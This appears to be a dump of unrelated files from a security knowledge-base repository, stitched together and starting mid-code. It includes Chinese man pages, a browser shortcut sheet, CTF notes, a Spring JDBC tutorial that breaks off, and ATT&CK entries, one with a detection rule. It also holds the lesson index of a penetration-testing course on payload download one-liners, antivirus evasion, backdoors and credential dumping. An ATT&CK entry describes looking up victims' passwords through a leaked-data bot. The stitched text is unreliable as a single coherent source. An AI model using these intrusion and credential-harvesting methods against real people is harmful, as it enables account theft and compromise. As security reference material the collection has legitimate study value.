list1 = list1.next;
} else {
cur.next = list2;
list2 = list2.next;
}
cur = cur.next;
}
if (list1 != null)
cur.next = list1;
if (list2 != null)
cur.next = list2;
return head.next;
}
```
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sec-knowleage
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title: Brave Browser
date: 2022-11-23 16:23:31.698868
background: bg-[#da6b37]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 64 keyboard shortcuts found in the Brave browser
---
Keyboard Shortcuts {.cols-2}
------------------
### Tabs and Windows
Shortcut | Action
---|---
`Ctrl` `N` | Open a new window
`Ctrl` `Shift` `N` | Open a new window in Private mode
`Ctrl` `T` | Open a new tab, and jump to it
`Ctrl` `Shift` `T` | Reopen the last closed tab, and jump to it
`Ctrl` `Tab` | Jump to the next open tab
`Ctrl` `Shift` `Tab` | Jump to the previous open tab
`Ctrl` `1-8` | Jump to a specific tab
`Ctrl` `9` | Jump to the last tab
`Alt` `Home` | Open your home page in the current tab
`Ctrl` `Left` | Open the previous page from your browsing history in the current tab
`Alt` `Right` | Open the next page from your browsing history in the current tab
`Ctrl` `W` | Close the current tab
`Ctrl` `Shift` `W` | Close the current window
`Alt` `Space` `N` | Minimize the current window
`Alt` `Space` `X` | Maximize the current window
`Alt` `F4` | Close the current window
`Ctrl` `Shift` `Q` | Quit Brave
{.shortcuts}
### Browser
Shortcut | Action
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`F10` | Set focus on the last item in the toolbar
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`Ctrl` `G` | Jump to the next match in your find bar search
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{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Brave](https://support.brave.com/hc/en-us/articles/360032272171-What-keyboard-shortcuts-can-I-use-in-Brave-) _(support.brave.com)_
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH RMDIR 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
rmdir \- 删除空目录
.SH 概述
\fBrmdir\fP [\fI\,选项\/\fP]... \fI\,目录列表\/\fP...
.SH 描述
.\" Add any additional description here
.PP
删除目录列表中的空目录。
.TP
\fB\-\-ignore\-fail\-on\-non\-empty\fP
忽略每一个仅因目录非空而导致的错误
.TP
\fB\-p\fP, \fB\-\-parents\fP
删除目录及其路径上的目录；比如，'rmdir \fB\-p\fP a/b/c' 类似于 'rmdir a/b/c a/b a'
.TP
\fB\-v\fP, \fB\-\-verbose\fP
为每一个处理过的目录输出诊断信息
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助： <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件：您可以自由修改和重新发布它。在法律允许的范围内，不提供任何保证。
.SH 参见
\fBrmdir\fP(2)
.PP
.br
完整文档请见： <https://www.gnu.org/software/coreutils/rmdir>
.br
或者在本地使用： info \(aq(coreutils) rmdir invocation\(aq
|
sec-knowleage
|
# Summary
* [前言](README.md)
* [Preface](README_EN.md)
* [目录](Content/Contents.md)
* [第一章：生](Content/Contents.md)
* [1-10课](Content/1-10.md)
* [第一课：windows提权-快速查找exp](Chapter1/1_windows提权-快速查找exp.md)
* [第二课：Linux提权-依赖exp篇](Chapter1/2_Linux提权-依赖exp篇.md)
* [第三课：Delphi代码审计--项目实战1](Chapter1/3_Delphi代码审计--项目实战1.md)
* [第四课：Asp代码审计--项目实战2](Chapter1/4_Asp代码审计--项目实战2.md)
* [第五课：工具介绍-Sqlmap](Chapter1/5_工具介绍-Sqlmap.md)
* [第六课：反攻的一次溯源--项目实战3](Chapter1/6_反攻的一次溯源--项目实战3.md)
* [第七课：sql server 常用操作远程桌面语句](Chapter1/7_sqlServer常用操作远程桌面语句.md)
* [第八课：模拟诉求任务攻击](Chapter1/8_模拟诉求任务攻击.md)
* [第九课：工具介绍-the-backdoor-factory](Chapter1/9_工具介绍-the-backdoor-factory.md)
* [第十课：msfvenom常用生成payload命令](Chapter1/10_msfvenom常用生成payload命令.md)
* [11-20课](Content/11-20.md)
* [第十一课：工具介绍Veil-Evasion](Chapter1/11_工具介绍Veil-Evasion.md)
* [第十二课：基于UDP发现内网存活主机](Chapter1/12_基于UDP发现内网存活主机.md)
* [第十三课：基于ARP发现内网存活主机](Chapter1/13_基于ARP发现内网存活主机.md)
* [第十四课：基于第十课补充payload1](Chapter1/14_基于第十课补充payload1.md)
* [第十五课：基于第十课补充payload2](Chapter1/15_基于第十课补充payload2.md)
* [第十六课：红蓝对抗渗透测试1](Chapter1/16_红蓝对抗渗透测试1.md)
* [第十七课：红蓝对抗渗透测试2](Chapter1/17_红蓝对抗渗透测试2.md)
* [第十八课：红蓝对抗渗透测试3](Chapter1/18_红蓝对抗渗透测试3.md)
* [第十九课：基于netbios发现内网存活主机](Chapter1/19_基于netbios发现内网存活主机.md)
* [第二十课：基于snmp发现内网存活主机](Chapter1/20_基于snmp发现内网存活主机.md)
* [21-30课](Content/21-30.md)
* [第二十一课：基于ICMP发现内网存活主机](Chapter1/21-30/21_基于ICMP发现内网存活主机.md)
* [第二十二课：基于SMB发现内网存活主机](Chapter1/21-30/22_基于SMB发现内网存活主机.md)
* [第二十三课：基于MSF发现内网存活主机第一季](Chapter1/21-30/23_基于MSF发现内网存活主机第一季.md)
* [第二十四课：基于MSF发现内网存活主机第二季](Chapter1/21-30/24_基于MSF发现内网存活主机第二季.md)
* [第二十五课：基于MSF发现内网存活主机第三季 ](Chapter1/21-30/25_基于MSF发现内网存活主机第三季.md)
* [第二十六课：基于MSF发现内网存活主机第四季](Chapter1/21-30/26_基于MSF发现内网存活主机第四季.md)
* [第二十七课：基于MSF发现内网存活主机第五季 ](Chapter1/21-30/27_基于MSF发现内网存活主机第五季.md)
* [第二十八课：基于MSF发现内网存活主机第六季](Chapter1/21-30/28_基于MSF发现内网存活主机第六季.md)
* [第二十九课：发现目标WEB程序敏感目录第一季](Chapter1/21-30/29_发现目标WEB程序敏感目录第一季.md)
* [第三十课：解决msfvenom命令自动补全](Chapter1/21-30/30_解决msfvenom命令自动补全.md)
* [31-40课](Content/31-40.md)
* [第三十一课：msf的前生今世](Chapter1/31_msf的前生今世.md)
* [第三十二课：配置vps上的msf](Chapter1/32_配置vps上的msf.md)
* [第三十三课：攻击Mysql服务](Chapter1/33_攻击Mysql服务.md)
* [第三十四课：攻击Sql server 服务](Chapter1/34_攻击SqlServer服务.md)
* [第三十五课：与Sqlmap结合攻击](Chapter1/35_与Sqlmap结合攻击.md)
* [第三十六课：解决vps上ssh掉线](Chapter1/36_解决vps上ssh掉线.md)
* [第三十七课：vbs一句话下载payload](Chapter1/37_vbs一句话下载payload.md)
* [第三十八课：certutil一句话下载payload](Chapter1/38_certutil一句话下载payload.md)
* [第三十九课：vbs一句话下载payload补充](Chapter1/39_vbs一句话下载payload补充.md)
* [第四十课：ftp一句话下载payload](Chapter1/40_ftp一句话下载payload.md)
* [41-50课](Content/41-50.md)
* [第四十一课：bitsadmin一句话下载payload](Chapter1/41_bitsadmin一句话下载payload.md)
* [第四十二课：攻击FTP服务](Chapter1/42_攻击FTP服务.md)
* [第四十三课：js一句话下载payload](Chapter1/43_js一句话下载payload.md)
* [第四十四课：ertutil一句话下载payload补充](Chapter1/44_ertutil一句话下载payload补充.md)
* [第四十五课：解决bat一句话下载payload黑窗](Chapter1/45_解决bat一句话下载payload黑窗.md)
* [第四十六课：powershell一句话下载payload](Chapter1/46_powershell一句话下载payload.md)
* [第四十七课：payload分离免杀思路](Chapter1/47_payload分离免杀思路.md)
* [第四十八课：payload分离免杀思路第二季](Chapter1/48_payload分离免杀思路第二季.md)
* [第四十九课：关于Powershell对抗安全软件](Chapter1/49_关于Powershell对抗安全软件.md)
* [第五十课：基于SqlDataSourceEnumerator发现内网存活主机](Chapter1/50_基于SqlDataSourceEnumerator发现内网存活主机.md)
* [51-60课](Content/51-60.md)
* [第五十一课：项目回忆：体系的本质是知识点串联](Chapter1/51_项目回忆：体系的本质是知识点串联.md)
* [第五十二课：渗透的本质是信息搜集](Chapter1/52_渗透的本质是信息搜集.md)
* [第五十三课：内网渗透中的文件传输](Chapter1/53_内网渗透中的文件传输.md)
* [第五十四课：基于Powershell做Socks 4-5代理](Chapter1/54_基于Powershell做Socks4-5代理.md)
* [第五十五课：与Smbmap结合攻击](Chapter1/55_与Smbmap结合攻击.md)
* [第五十六课：离线提取目标机hash](Chapter1/56_离线提取目标机hash.md)
* [第五十七课：高级持续渗透-第一季关于后门](Chapter1/57_高级持续渗透-第一季关于后门.md)
* [第五十八课：高级持续渗透-第二季关于后门补充一](Chapter1/58_高级持续渗透-第二季关于后门补充一.md)
* [第五十九课：高级持续渗透-第三季关于后门补充二](Chapter1/59_高级持续渗透-第三季关于后门补充二.md)
* [第六十课：高级持续渗透-第四季关于后门](Chapter1/60_高级持续渗透-第四季关于后门.md)
* [61-70课](Content/61-70.md)
* [第六十一课：高级持续渗透-第五季关于后门](Chapter1/61-70/61_高级持续渗透-第五季关于后门.md)
* [第六十二课：高级持续渗透-第六季关于后门](Chapter1/61-70/62_高级持续渗透-第六季关于后门.md)
* [第六十三课：高级持续渗透-第七季demo的成长](Chapter1/61-70/63_高级持续渗透-第七季demo的成长.md)
* [第六十四课：高级持续渗透-第八季demo便是远控](Chapter1/61-70/64_高级持续渗透-第八季demo便是远控.md)
* [第六十五课：离线提取目标机hash补充](Chapter1/61-70/65_离线提取目标机hash补充.md)
* [第六十六课：借助aspx对payload进行分离免杀](Chapter1/61-70/66_借助aspx对payload进行分离免杀.md)
* [第六十七课：meterpreter下的irb操作第一季](Chapter1/61-70/67_meterpreter下的irb操作第一季.md)
* [第六十八课：基于Ruby内存加载shellcode第一季](Chapter1/61-70/68_基于Ruby内存加载shellcode第一季.md)
* [第六十九课：渗透，持续渗透，后渗透的本质](Chapter1/61-70/69_渗透-持续渗透-后渗透的本质.md)
* [第七十课：ftp一句话下载payload补充](Chapter1/61-70/70_ftp一句话下载payload补充.md)
* [71-80课](Content/71-80.md)
* [第七十一课：基于白名单Msbuild.exe执行payload第一季](Chapter1/71-80/71_基于白名单Msbuild.exe执行payload第一季.md)
* [第七十二课：基于白名单Installutil.exe执行payload第二季](Chapter1/71-80/72_基于白名单Installutil.exe执行payload第二季.md)
* [第七十三课：基于白名单Regasm.exe执行payload第三季](Chapter1/71-80/73_基于白名单Regasm.exe执行payload第三季.md)
* [第七十四课：基于白名单Regsvcs.exe执行payload第四季 ](Chapter1/71-80/74_基于白名单regsvcs.exe执行payload第四季.md)
* [第七十五课：基于白名单Mshta.exe执行payload第五季](Chapter1/71-80/75_基于白名单Mshta.exe执行payload第五季.md)
* [第七十六课：基于白名单Compiler.exe执行payload第六季](Chapter1/71-80/76_基于白名单Compiler.exe执行payload第六季.md)
* [第七十七课：基于白名单Csc.exe执行payload第七季](Chapter1/71-80/77_基于白名单Csc.exe执行payload第七季.md)
* [第七十八课：基于白名单Msiexec执行payload第八季](Chapter1/71-80/78_基于白名单Msiexec执行payload第八季.md)
* [第七十九课：基于白名单Regsvr32执行payload第九季](Chapter1/71-80/79_基于白名单Regsvr32执行payload第九季.md)
* [第八十课：基于白名单Wmic执行payload第十季](Chapter1/71-80/80_基于白名单Wmic执行payload第十季.md)
* [81-90课](Content/81-90.md)
* [第八十一课：基于白名单Rundll32.exe执行payload第十一季](Chapter1/81-90/81_基于白名单Rundll32.exe执行payload第十一季.md)
* [第八十二课：基于白名单Odbcconf执行payload第十二季](Chapter1/81-90/82_基于白名单Odbcconf执行payload第十二季.md)
* [第八十三课：基于白名单PsExec执行payload第十三季 ](Chapter1/81-90/83_基于白名单PsExec执行payload第十三季.md)
* [第八十四课：基于白名单Forfiles执行payload第十四季](Chapter1/81-90/84_基于白名单Forfiles执行payload第十四季.md)
* [第八十五课：基于白名单Pcalua执行payload第十五季](Chapter1/81-90/85_基于白名单Pcalua执行payload第十五季.md)
* [第八十六课：基于白名单Msiexec执行payload第八季补充](Chapter1/81-90/86_基于白名单Msiexec执行payload第八季补充.md)
* [第八十七课：基于白名单Cmstp.exe执行payload第十六季](Chapter1/81-90/87_基于白名单Cmstp.exe执行payload第十六季.md)
* [第八十八课：基于白名单Ftp.exe执行payload第十九季](Chapter1/81-90/88_基于白名单Ftp.exe执行payload第十九季.md)
* [第八十九课：基于白名单Url.dll执行payload第十七季](Chapter1/81-90/89_基于白名单Url.dll执行payload第十七季.md)
* [第九十课：基于白名单zipfldr.dll执行payload第十八季](Chapter1/81-90/90_基于白名单zipfldr.dll执行payload第十八季.md)
* [91-100课](Content/91-100.md)
* [第九十一课：从目标文件中做信息搜集第一季](Chapter1/91-100/91_从目标文件中做信息搜集第一季.md)
* [第九十二课：实战中的Payload应用](Chapter1/91-100/92_实战中的Payload应用.md)
* [第九十三课：与CrackMapExec结合攻击](Chapter1/91-100/93_与CrackMapExec结合攻击.md)
* [第九十四课：基于实战中的small payload](Chapter1/91-100/94_基于实战中的small-payload.md)
* [第九十五课：基于Portfwd端口转发](Chapter1/91-100/95_基于Portfwd端口转发.md)
* [第九十六课：HTTP隧道ABPTTS第一季](Chapter1/91-100/96_HTTP隧道ABPTTS第一季.md)
* [第九十七课：MSF配置自定义Payload控制目标主机权限](Chapter1/91-100/97_MSF配置自定义Payload控制目标主机权限.md)
* [第九十八课：HTTP隧道reGeorg第二季](Chapter1/91-100/98_HTTP隧道reGeorg第二季.md)
* [第九十九课：HTTP隧道Tunna第三季](Chapter1/91-100/99_HTTP隧道Tunna第三季.md)
* [第一百课：HTTP隧道reDuh第四季](Chapter1/91-100/100_HTTP隧道reDuh第四季.md)
* 第二章：老（待更新...）
* 第一百零一课：基于SCF做目标内网信息搜集第二季
* 第一百零二课：对抗权限长期把控-伪造无效签名第一季
* 第一百零三课：Http加密隧道下的横向渗透尝试---klion
* 第一百零四课：Windows Smb 欺骗重放攻击利用---klion
* 第一百零五课：windows 单机免杀抓明文或hash [通过dump lsass进程数据]---klion
* 第一百零六课：windows 单机免杀抓明文或hash [通过简单混淆编码绕过常规静态检测]---klion
* 第一百零七课：跨平台横向移动 [ windows计划任务利用 ]---klion
* 第一百零八课：跨平台横向移动 [wmi利用]---klion
* 第一百零九课：依托 metasploit 尽可能多的发现目标内网下的各类高价值存活主机---klion
* 第一百一十课：窃取,伪造模拟各种windows访问令牌[token利用]---klion
* 第一百一十一课：内网mssql完整利用流程 [ 基础篇 ]---klion
* 第一百一十二课：利用Dropbox中转C2流量---klion
* 第一百一十三课：COM Hijacking---倾旋
* 第一百一十四课：渗透沉思录
* 第一百一十五课：使用CrackMapExec 进行 NTLM Hash传递攻击---倾旋
* 第一百一十六课：Windows域渗透 - 用户密码枚举---倾旋
* 第一百一十七课：Windows 本地特权提升技巧---倾旋
* 第一百一十八课：CVE-2017-11882钓鱼攻击---倾旋
* 第一百一十九课：全平台高性能加密隧道 ssf---klion
* 第一百二十课：win自带的高级网络配置管理工具深度应用 [ netsh ]---klion
* 第一百二十一课：http加密代理深度应用 [ abptts ]---klion
* 第一百二十二课：利用 ssh隧道实现内网断网机meterpreter反向上线---klion
* 第一百二十三课：利用ssh隧道将公网meterpreter弹至本地的msf中---klion
* 第三章：病（待更新...）
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sec-knowleage
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### 磁盘内存分析常用工具
- EasyRecovery
- MedAnalyze
- FTK
- [Elcomsoft Forensic Disk Decryptor](https://ctf-wiki.github.io/ctf-tools/misc/#_6)
- Volatility
### 磁盘相关介绍
常见的磁盘分区格式有以下几种
- Windows: FAT12 -> FAT16 -> FAT32 -> NTFS
- Linux: EXT2 -> EXT3 -> EXT4
- FAT 主磁盘结构
- 删除文件：目录表中文件名第一字节 `e5`。
### VMDK文件介绍
VMDK 文件本质上是物理硬盘的虚拟版，也会存在跟物理硬盘的分区和扇区中类似的填充区域，我们可以利用这些填充区域来把我们需要隐藏的数据隐藏到里面去，这样可以避免隐藏的文件增加了 VMDK 文件的大小（如直接附加到文件后端），也可以避免由于 VMDK 文件大小的改变所带来的可能导致的虚拟机错误。而且 VMDK 文件一般比较大，适合用于隐藏大文件。
### 内存类题目介绍
- 解析 Windows / Linux / Mac OS X 内存结构
- 分析进程，内存数据
- 根据题目提示寻找线索和思路，提取分析指定进程的特定内存数据
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sec-knowleage
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# you can override this using by setting a system property, for example -Des.logger.level=DEBUG
es.logger.level: INFO
rootLogger: ${es.logger.level}, console
logger:
# log action execution errors for easier debugging
action: DEBUG
# reduce the logging for aws, too much is logged under the default INFO
com.amazonaws: WARN
appender:
console:
type: console
layout:
type: consolePattern
conversionPattern: "[%d{ISO8601}][%-5p][%-25c] %m%n"
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sec-knowleage
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bzcat
===
不解压，直接查看指定的.bz2文件
## 补充说明
**bzcat命令** 无需解压缩指定的.bz2文件，即可显示解压缩后的文件内容。
### 语法
```shell
bzcat(参数)
```
### 参数
.bz2压缩文件：指定要显示内容的.bz2压缩文件。
### 实例
将`/tmp/man.config`以bzip2格式压缩：
```shell
bzip2 -z man.config
```
此时man.config会变成man.config.bz2
将上面的压缩文件内容读出来：
```shell
bzcat man.config.bz2
```
此时屏幕上会显示 man.config.bz2 解压缩之后的文件内容。
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sec-knowleage
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# Writeup Hack.lu CTF 2015
Uczestniczyliśmy (msm, Rev, Shalom, other019, nazywam i pp) w Hack.lu CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).
Ogólne wrażenia:
- CTF w środku tygodnia = bardzo słaby pomysł bo wszyscy w pracy albo w szkole więc na CTFa zostaje tylko kilka godzin...
Opisy zadań po kolei.
# Spis treści / Table of contents:
* Module Loader 100+10
* PHP Golf 75+70
* Stackstuff 150+80
* Bashful 200+40
* Creative Cheating 150+60
* Checkcheckcheck 150+80
* Perl Golf 75+50
* Teacher's Pinboard 352+100
* Secret Library 200+70
* Grading Board 300+80
* [GuessTheNumber (ppc 150+80)](ppc150_guess_the_number)
* GuessTheNumber 150+80
* Salt 200+90
* Dr. Bob 150+80
# Zakończenie
Zachęcamy do komentarzy/pytań/czegokolwiek.
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sec-knowleage
|
.\" Chinese Version Copyright riser, checker :meaculpa
.\" Copyright (c) 1998 Sendmail, Inc. All rights reserved.
.\" Copyright (c) 1988, 1991, 1993
.\" The Regents of the University of California. All rights reserved.
.\"
.\" By using this file, you agree to the terms and conditions set
.\" forth in the LICENSE file which can be found at the top level of
.\" the sendmail distribution.
.\"
.\"
.\" @(#)makemap.8 8.12 (Berkeley) 11/13/1998
.\"
.TH makemap 8 "BSD 4.4" "11/16/1992"
.Dd 1992年11月16日
.Dt MAKEMAP 8
.Os BSD 4.4
.Sh NAME(名称)
.Nm makemap
.Nd 为sendmail创建数据库映像表
.Sh SYNOPSIS(总览)
.Nm
.Op Fl N
.if \nP .Op Fl c Ar cachesize
.Op Fl d
.Op Fl f
.if \nP .Op Fl l
.Op Fl o
.Op Fl r
.Op Fl s
.Op Fl v
.Ar maptype
.Ar mapname
.Sh DESCRIPTION(描述)
.Nm
创建
.Xr sendmail 8
中关键字式映像查询所使用的数据库映像表.
它从标准输入设备读取输入并输出到指定的
.Ar mapname .
.Pp
根据其编译的方式不同,
.Nm
可以处理多达三种不同的数据库格式,
这些格式由
.Ar maptype
参数确定.
它们可能为:
.Bl -tag -width Fl
.It Li btree
B-Tree格式映像表.
这需要新的Berkeley DB库.
.It Li hash
Hash格式映像表.
这也需要Berkeley DB库.
.El
.Pp
普遍而言,
.Nm
从标准输入设备读取行，这些行由以空格分隔的两个单词组成.
第一个为数据库关键字,
第二个为数值.
数值可能包含
``%\fIn\fP''
字符串用来标明参数替换.
如果包含文本式的百分符号，则应该重复写
(``%%'').
忽略空行和以``#''开头的行.
.Ss Flags(标识)
.Bl -tag -width Fl
.It Fl N
包含null字节用来结束映像表中的字符串.
这必须与sendmail.cf中``K''行的\-N标识匹配.
.if \nP \
\{\
.It Fl c
使用指定的hash和B-Tree缓冲大小.
.\}
.It Fl d
允许映像表中的关键字重复.
这只能在B-Tree格式的映像表中允许.
如果读入两个相同的关键字,
那么它们都会插入到映像表中.
.It Fl f
通常所有关键字中的大写字母都会转换成小写字母.
这个标识可以屏蔽这种功能.
这是为了配合sendmail.cf中
\fBK\fP
行的\-f标识的使用.
数值永远不作字母大小写的转换.
.if \nP \
\{\
.It Fl l
列出支持的映像类型.
.\}
.It Fl o
添加到一个旧的文件中.
允许你增大一个已存在的文件.
.It Fl r
允许替换已存在的关键字.
如果你重复一个关键字,
通常
.Nm
会抱怨，而且不进行插入.
.It Fl s
忽略正在创建的映像表的安全性检查.
这包括对完全可写目录中硬链接或者符号链接的检查.
.It Fl v
详尽地打印出正在执行什么.
.El
.Sh SEE ALSO(另见)
.Xr sendmail 8
.Sh HISTORY(历史)
.B makemap
命令出现于 BSD 4.4v
.Sh "[中文版维护人]"
.B riser <boomer@ccidnet.com>
.Sh "[中文版最新更新]"
.B 2001/2/25
.Sh 《中国 Linux 论坛 man 手册页翻译计划》:
.B http://cmpp.linuxforum.net
|
sec-knowleage
|
.\" Copyright 1993 David Metcalfe (david@prism.demon.co.uk)
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
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.\" References consulted:
.\" Linux libc source code
.\" Lewine's _POSIX Programmer's Guide_ (O'Reilly & Associates, 1991)
.\" 386BSD man pages
.\" Modified Sun Jul 25 10:40:44 1993 by Rik Faith (faith@cs.unc.edu)
.TH STRCOLL 3 1993-04-12 "GNU" "Linux Programmer's Manual"
.SH NAME
strcoll \- 用当前的区域选项来比较两个字符串
.SH "总览 (SYNOPSIS)"
.nf
.B #include <string.h>
.sp
.BI "int strcoll(const char *" s1 ", const char *" s2 );
.fi
.SH "描述 (DESCRIPTION)"
\fBstrcoll()\fP 函数 是用来 比较 \fIs1\fP 和 \fIs2\fP 两个 字符串的.
如果 \fIs1\fP 不为空, 它会 返回 一个 小于, 等于 或者 大于 零的 整数 分别来
表示 它 小于, 等于 或者 大于 \fIs2\fP. 它是 根据 程序 当前的 区域选项 中的
\fILC_COLLATE\fP 来 比较的. (见 \fBsetlocale\fP(3)).
.SH "返回值 (RETURN VALUE)"
如果 \fIs1\fP 不为空, \fBstrcoll()\fP 函数 会 返回 一个 小于, 等于 或者 大于
零的 整数 分别来 表示 它 小于, 等于 或者 大于 \fIs2\fP. 每个 字符串 都根据
当前的 区域选项 来解释.
.SH "遵循 (CONFORMING TO)"
SVID 3, BSD 4.3, ISO 9899
.SH "注意 (NOTES)"
如果 区域选项 是 \fI"POSIX"\fP 或者 \fI"C"\fP, 那么 \fBstrcoll()\fP 同
\fBstrcmp()\fP 是等价的.
.SH "参见 (SEE ALSO)"
.BR bcmp "(3), " memcmp "(3), " strcasecmp "(3), " strcmp (3),
.BR strxfrm "(3), " setlocale (3)
.SH "[中文版维护人]"
.B 唐友 \<tony_ty@263.net\>
.SH "[中文版最新更新]"
.BR 2002/1/28
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
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# T1083-win-文件和目录发现
## 来自ATT&CK的描述
攻击者可以枚举文件和目录，也可以在主机或网络共享的特定位置搜索文件系统中的某些信息。攻击者可以在自动发现期间使用文件和目录发现中的信息来塑造后续行为，包括攻击者是否完全感染目标和/或尝试特定操作。
## 测试案例
windows
用于获取此信息的示例实用程序有dir和tree。还可以使用自定义工具收集文件和目录信息，并与Windows API交互。
Mac和Linux
在Mac和Linux中，这种发现是通过ls、find和locate命令完成的。
## 检测日志
windows安全日志
## 测试复现
这里主要演示windows主机下执行dir命令以及tree命令。
## 测试留痕
模拟测试：windows server 2016 下对dir命令不做记录
## 检测规则/思路
### sigma规则
```yml
title: 在windows文件和目录发现
description: windows server 2016
tags: T1083
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688 #已创建新的进程。
Newprocessname: 'C:\windows\system32\tree.com' #进程信息>进程名称
Creatorprocessname: 'C:\windows\system32\cmd.exe' #进程信息>创建者进程名称
Processcommandline: tree #进程信息>进程命令行
condition: selection
level: medium
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1083
<https://attack.mitre.org/techniques/T1083/>
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sec-knowleage
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# T1589-001-收集目标组织身份信息-凭证
## 来自ATT&CK的描述
在入侵受害者之前，攻击者可能会收集凭证信息，这些信息可以在目标定位期间使用。攻击者收集的帐户凭据可以是与目标受害者组织直接相关的凭据，也可以尝试利用用户倾向于在个人帐户和企业帐户中使用相同密码的趋势。
攻击者可以通过各种方式收集此信息，例如通过[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)。攻击者还可能入侵站点，然后植入旨在收集访问者网站认证cookie的恶意内容（引自：ATT ScanBox）。凭证信息也可能通过在线或其他可访问的数据集（例如：[搜索引擎](https://contribute.knowledge.qihoo.net/detail/technique/T1593/002)，泄露凭据转储，代码仓库等）暴露给攻击者（引自：Register Deloitte）（引自：Register Uber）（引自：Detectify Slack Tokens）（引自：Forbes GitHub Creds）（引自：GitHub truffleHog）（引自：GitHub Gitrob）（引自：CNET Leaks）。攻击者还可以从暗网或其他黑市购买凭证。收集这些信息可能为其他形式的侦察提供可能性（例如：[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)），建立运营资源（例如：[入侵账号](https://contribute.knowledge.qihoo.net/detail/technique/T1586)），或实现初始访问（例如：[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133)或[有效账号](https://contribute.knowledge.qihoo.net/detail/technique/T1078)）。
## 测试案例
1、在tg-sgk机器人处直接输入受害者的邮箱、微博地址、手机号码、QQ等进行查寻受害者的密码信息。
2、google hacking：常见搜索引擎，shodan/FOFA/Zoomeye等。
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高，并且相关的误报率也很高，并且有可能发生在目标组织的视野之外，从而使防御者难以发现。
检测工作可能会集中在攻击者生命周期的相关阶段，例如在"初始访问"阶段。
## 关联TIP
[[T1589-002-收集目标组织身份信息-邮箱地址]]
[[T1589-003-收集目标组织身份信息-员工姓名]]
## 参考推荐
MITRE-ATT&CK-T1589-001
<https://attack.mitre.org/techniques/T1589/001/>
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# 数据访问
**什么是JDBC？**
Java 数据库连接（Java Database Connectivity，简称 JDBC）是 Java 语言中用来规范客户端程序如何来访问数据库的应用程序接口，提供了诸如查询和更新数据库中数据的方法。JDBC 也是 Sun Microsystems 的商标。我们通常说的 JDBC 是面向关系型数据库的。
JDBC API 主要位于 JDK 中的 java.sql 包中（之后扩展的内容位于 javax.sql 包中），主要包括（斜体代表接口，需驱动程序提供者来具体实现）：
- DriverManager：负责加载各种不同驱动程序（Driver），并根据不同的请求，向调用者返回相应的数据库连接（Connection）。
- Driver：驱动程序，会将自身加载到 DriverManager 中去，并处理相应的请求并返回相应的数据库连接（Connection）。
- Connection：数据库连接，负责与进行数据库间通讯，SQL 执行以及事务处理都是在某个特定 Connection 环境中进行的。可以产生用以执行 SQL 的 Statement。
- Statement：用以执行 SQL 查询和更新（针对静态 SQL 语句和单次执行）。PreparedStatement：用以执行包含动态参数的 SQL 查询和更新（在服务器端编译，允许重复执行以提高效率）。
- CallableStatement：用以调用数据库中的存储过程。
- SQLException：代表在数据库连接的建立和关闭和 SQL 语句的执行过程中发生了例外情况（即错误）。
**什么是数据源？**
可以看到，在 java.sql 中并没有数据源（Data Source）的概念。这是由于在 java.sql 中包含的是 JDBC 内核 API，另外还有个 javax.sql 包，其中包含了 JDBC 标准的扩展 API。而关于数据源（Data Source）的定义，就在 javax.sql 这个扩展包中。
实际上，在 JDBC 内核 API 的实现下，就已经可以实现对数据库的访问了，那么我们为什么还需要数据源呢？主要出于以下几个目的：
1. 封装关于数据库访问的各种参数，实现统一管理
2. 通过对数据库的连接池管理，节省开销并提高效率
---
## JdbcTemplate
**数据源配置**
首先，为了连接数据库需要引入 jdbc 支持，在 pom.xml 中引入如下配置：
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jdbc</artifactId>
</dependency>
```
**嵌入式数据库支持**
嵌入式数据库通常用于开发和测试环境，不推荐用于生产环境。Spring Boot 提供自动配置的嵌入式数据库有 H2、HSQL、Derby，你不需要提供任何连接配置就能使用。
比如，我们可以在 pom.xml 中引入如下配置使用 HSQL
```xml
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
<scope>runtime</scope>
</dependency>
```
**连接生产数据源**
以 MySQL 数据库为例，先引入 MySQL 连接的依赖包，在 pom.xml 中加入：
```xml
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
</dependency>
```
在 src/main/resources/application.properties 中配置数据源信息
```conf
spring.datasource.url=jdbc:mysql://localhost:3306/test
spring.datasource.username=dbuser
spring.datasource.password=dbpass
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
```
注意：因为 Spring Boot 2.1.x 默认使用了 MySQL 8.0 的驱动，所以这里采用 com.mysql.cj.jdbc.Driver，而不是老的 com.mysql.jdbc.Driver.
**连接JNDI数据源**
当你将应用部署于应用服务器上的时候想让数据源由应用服务器管理，那么可以使用如下配置方式引入 JNDI 数据源。
```
